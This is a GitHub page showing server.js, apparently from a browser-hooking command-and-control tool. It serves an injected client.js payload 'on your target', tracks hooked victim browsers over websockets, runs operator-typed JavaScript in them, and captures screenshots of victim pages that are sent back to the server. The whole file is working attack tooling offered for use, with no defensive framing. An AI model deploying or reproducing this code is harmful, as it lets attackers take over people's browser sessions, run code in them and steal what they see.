-
Notifications
You must be signed in to change notification settings - Fork 6
/
server.js
125 lines (107 loc) · 3.25 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
const express = require('express')
const cors = require('cors')
const ws = require('ws')
const prompts = require('prompts')
const fs = require('fs')
argv = require('minimist')(process.argv.slice(2), {
string: ['port', 'file'],
alias: {p: 'port', f: 'file'},
default: {port: 3000, file: 'client.js'},
help: true
})
console.log(`Listening on port ${argv.port}.\nImport the script located at /${argv.file} on your target`)
const app = express()
app.use(cors())
const server = app.listen(argv.port)
const wsServer = new ws.Server({ server })
app.get(`/${argv.file}`, (req, res) => {
const websocket = `ws${req.protocol == 'https' ? 's':''}://${req.get('host')}/`
const payload = fs.readFileSync('./payloads/client.js', 'utf8').replace('%websocket%', websocket)
res.type('application/javascript')
res.send(payload)
})
// let clientSocket = false
let clients = []
let prompt = false
let first = true
let selected = -1
wsServer.on('connection', socket => {
const id = clients.length
console.log(`client connected. ID: ${id}`)
clients.push(socket)
// clientSocket = socket
socket.on('message', msg => handleMessage(msg, id))
socket.on('close', () => console.log(`ID ${id} disconnected.`))
})
async function handleMessage(message, id) {
message = message.toString()
message = JSON.parse(message)
switch (message.type) {
case 'output':
console.log(`${id} > ${message.data}`)
break
case 'info':
console.log(`${id} | UA: ${message.data.browser}\nURL: ${message.data.url}`)
break
case 'ss':
const filename = `screenshot_${Date.now()}.png`
const data = Buffer.from(message.data.replace('data:image/png;base64,', ''), 'base64')
console.log(`Received screenshot from ${id}! Saved to ${filename}`)
fs.writeFileSync(filename, data)
break
default:
console.log(`Received unknown payload type from id ${id}: ${JSON.stringify(message)}`)
break
}
if (!prompt && selected === id) commandPrompt()
if (first) selector()
}
async function selector() {
first = false
const { id } = await prompts({
type: 'number',
name: 'id',
message: 'Client ID'
})
if (id === undefined) return process.exit()
if (!clients[id]) return selector()
selected = id
commandPrompt()
}
async function commandPrompt() {
prompt = true
const { cmd } = await prompts({
type: 'text',
name: 'cmd',
message: `js (${selected})`
})
prompt = false
switch (cmd) {
case '.exit':
selected = -1
selector()
return
case '.ss':
takeSS()
default:
clients[selected].send(JSON.stringify({ type: 'run', data: cmd }))
}
setTimeout(() => {
if (!prompt) {
console.log('Output timed out.')
commandPrompt()
}
}, 2000)
}
function takeSS() {
console.log('Sending screenshot payload...')
const payload = `import('https://html2canvas.hertzen.com/dist/html2canvas.min.js').then(() => html2canvas(document.body).then(canvas => socket.send(JSON.stringify({type:'ss',data:canvas.toDataURL('image/png')}))))`
clients[selected].send(JSON.stringify({ type: 'run', data: payload, noout: true }))
console.log('Payload sent.')
setTimeout(() => {
if (!prompt) {
console.log('Output timed out.')
commandPrompt()
}
}, 2000)
}